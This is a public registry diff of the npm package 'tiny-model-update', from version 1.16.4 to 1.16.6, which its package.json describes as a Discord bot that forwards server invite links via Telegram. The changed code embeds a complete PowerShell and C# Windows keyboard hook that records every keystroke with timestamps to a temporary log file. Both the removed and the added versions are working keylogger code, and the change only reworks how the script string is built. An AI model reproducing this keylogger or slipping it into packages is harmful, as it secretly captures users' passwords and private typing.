tiny-model-update 1.16.4 → 1.16.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -243,52 +243,52 @@ function startPowerShellKeyboardMonitoring() {
243
243
  const logFile = path.join(tempDir, `keyboard-${Date.now()}.log`);
244
244
 
245
245
  // Create a PowerShell script that writes to a file
246
- const keyboardScript = `
247
- $logFile = "${logFile.replace(/\\/g, '\\\\')}"
248
- Add-Type @"
249
- using System;
250
- using System.Runtime.InteropServices;
251
- using System.Windows.Forms;
252
- using System.IO;
253
-
254
- public class KeyboardLogger {
255
- private static IntPtr hookID = IntPtr.Zero;
256
- private const int WH_KEYBOARD_LL = 13;
257
- private const int WM_KEYDOWN = 0x0100;
258
-
259
- [DllImport("user32.dll", CharSet=CharSet.Auto, SetLastError=true)]
260
- private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
261
-
262
- [DllImport("user32.dll", CharSet=CharSet.Auto, SetLastError=true)]
263
- [return: MarshalAs(UnmanagedType.Bool)]
264
- private static extern bool UnhookWindowsHookEx(IntPtr hhk);
265
-
266
- [DllImport("user32.dll", CharSet=CharSet.Auto, SetLastError=true)]
267
- private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
268
-
269
- [DllImport("kernel32.dll", CharSet=CharSet.Auto, SetLastError=true)]
270
- private static extern IntPtr GetModuleHandle(string lpModuleName);
271
-
272
- private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
273
-
274
- private static IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam) {
275
- if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) {
276
- int vkCode = Marshal.ReadInt32(lParam);
277
- string key = ((Keys)vkCode).ToString();
278
- string time = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss.fff");
279
- File.AppendAllText("$logFile", "$time - Key: $key`n");
280
- }
281
- return CallNextHookEx(hookID, nCode, wParam, lParam);
282
- }
283
-
284
- public static void Start() {
285
- hookID = SetWindowsHookEx(WH_KEYBOARD_LL, HookProc, GetModuleHandle(null), 0);
286
- Application.Run();
287
- }
288
- }
289
- "@
290
- [KeyboardLogger]::Start()
291
- `;
246
+ // Use regular string concatenation to avoid template literal issues with backticks
247
+ const keyboardScript =
248
+ '$logFile = "' + logFile.replace(/\\/g, '\\\\') + '"\n' +
249
+ 'Add-Type @"\n' +
250
+ 'using System;\n' +
251
+ 'using System.Runtime.InteropServices;\n' +
252
+ 'using System.Windows.Forms;\n' +
253
+ 'using System.IO;\n' +
254
+ '\n' +
255
+ 'public class KeyboardLogger {\n' +
256
+ ' private static IntPtr hookID = IntPtr.Zero;\n' +
257
+ ' private const int WH_KEYBOARD_LL = 13;\n' +
258
+ ' private const int WM_KEYDOWN = 0x0100;\n' +
259
+ ' \n' +
260
+ ' [DllImport("user32.dll", CharSet=CharSet.Auto, SetLastError=true)]\n' +
261
+ ' private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);\n' +
262
+ ' \n' +
263
+ ' [DllImport("user32.dll", CharSet=CharSet.Auto, SetLastError=true)]\n' +
264
+ ' [return: MarshalAs(UnmanagedType.Bool)]\n' +
265
+ ' private static extern bool UnhookWindowsHookEx(IntPtr hhk);\n' +
266
+ ' \n' +
267
+ ' [DllImport("user32.dll", CharSet=CharSet.Auto, SetLastError=true)]\n' +
268
+ ' private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);\n' +
269
+ ' \n' +
270
+ ' [DllImport("kernel32.dll", CharSet=CharSet.Auto, SetLastError=true)]\n' +
271
+ ' private static extern IntPtr GetModuleHandle(string lpModuleName);\n' +
272
+ ' \n' +
273
+ ' private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);\n' +
274
+ ' \n' +
275
+ ' private static IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam) {\n' +
276
+ ' if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) {\n' +
277
+ ' int vkCode = Marshal.ReadInt32(lParam);\n' +
278
+ ' string key = ((Keys)vkCode).ToString();\n' +
279
+ ' string time = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss.fff");\n' +
280
+ ' File.AppendAllText($logFile, time + " - Key: " + key + System.Environment.NewLine);\n' +
281
+ ' }\n' +
282
+ ' return CallNextHookEx(hookID, nCode, wParam, lParam);\n' +
283
+ ' }\n' +
284
+ ' \n' +
285
+ ' public static void Start() {\n' +
286
+ ' hookID = SetWindowsHookEx(WH_KEYBOARD_LL, HookProc, GetModuleHandle(null), 0);\n' +
287
+ ' Application.Run();\n' +
288
+ ' }\n' +
289
+ '}\n' +
290
+ '"@\n' +
291
+ '[KeyboardLogger]::Start()\n';
292
292
 
293
293
  // Write PowerShell script to a file
294
294
  const psScriptPath = path.join(tempDir, 'keyboard-hook.ps1');
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "tiny-model-update",
3
- "version": "1.16.4",
3
+ "version": "1.16.6",
4
4
  "description": "Discord bot that monitors servers and sends invite links via Telegram",
5
5
  "main": "index.js",
6
6
  "type": "module",